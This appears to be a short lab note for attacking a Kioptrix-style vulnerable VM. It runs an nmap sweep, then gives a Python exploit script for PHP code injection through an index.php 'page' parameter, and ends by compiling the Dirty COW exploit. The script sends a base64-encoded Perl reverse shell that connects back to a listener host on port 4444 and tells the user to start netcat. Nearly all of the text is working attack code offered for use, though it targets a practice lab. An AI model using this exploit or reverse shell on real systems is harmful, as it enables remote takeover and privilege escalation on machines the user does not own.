Vulhub-Linux-KioprtixVM

nmap -sP 192.168.11.0/24

from requests import get
import re
import random
from urllib import parse
import base64
import threading


# 生成随机码
def gen_string():
    key = ""
    for i in range(10):
        key += chr(random.randint(65,90))
    return key


# 检查漏洞是否存在
def check(target):
    if "http" not in target:
        target = "http" + target
    result = get(target)
    find = re.search(r'<a.*href=[\'|"](/*index.php)\?.*(page=\w+)[\'|"].*>',result.text)
    if find is None:
        print("[*] INFO: Not fond vulnerability.")
        return 0
    key = gen_string()
    target += "index.php?page=index');"+parse.quote("echo '"+key+"';//")
    res = get(target)
    if key in res.text:
        print("[!] INFO: Find vul!!!")
        return True
    print("[*] INFO: Not fond vulnerability.")
    return 0


def exp(target,host,port):
    poc =  """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" %(host,port)
    poc = base64.b64encode(poc.encode('utf-8'))
    target += "index.php?page=index');"+parse.quote("system(base64_decode(%s));//" %poc)
    print("[~] Confirm: please run 'nc -lvp %s' on your client" %port)
    input("\t|--- Please enter any key to start!")
    threading.Thread(target=get, args=(target,)).start()
    print("[?] INFO: Get shell?")
    print("[!] INFO: If the attack is successful,The thread is being requested to suspend……")
    exit(0)


# target : please input target
# host : please input lhost
# port : please input lport
target = "http://192.168.11.137/"    #攻击目标地址
host = "192.168.11.124"     #监听机地址
port = "4444"      #监听端口


if check(target):
    exp(target, host, port)

gcc -pthread dirty.c -o dirty -lcrypt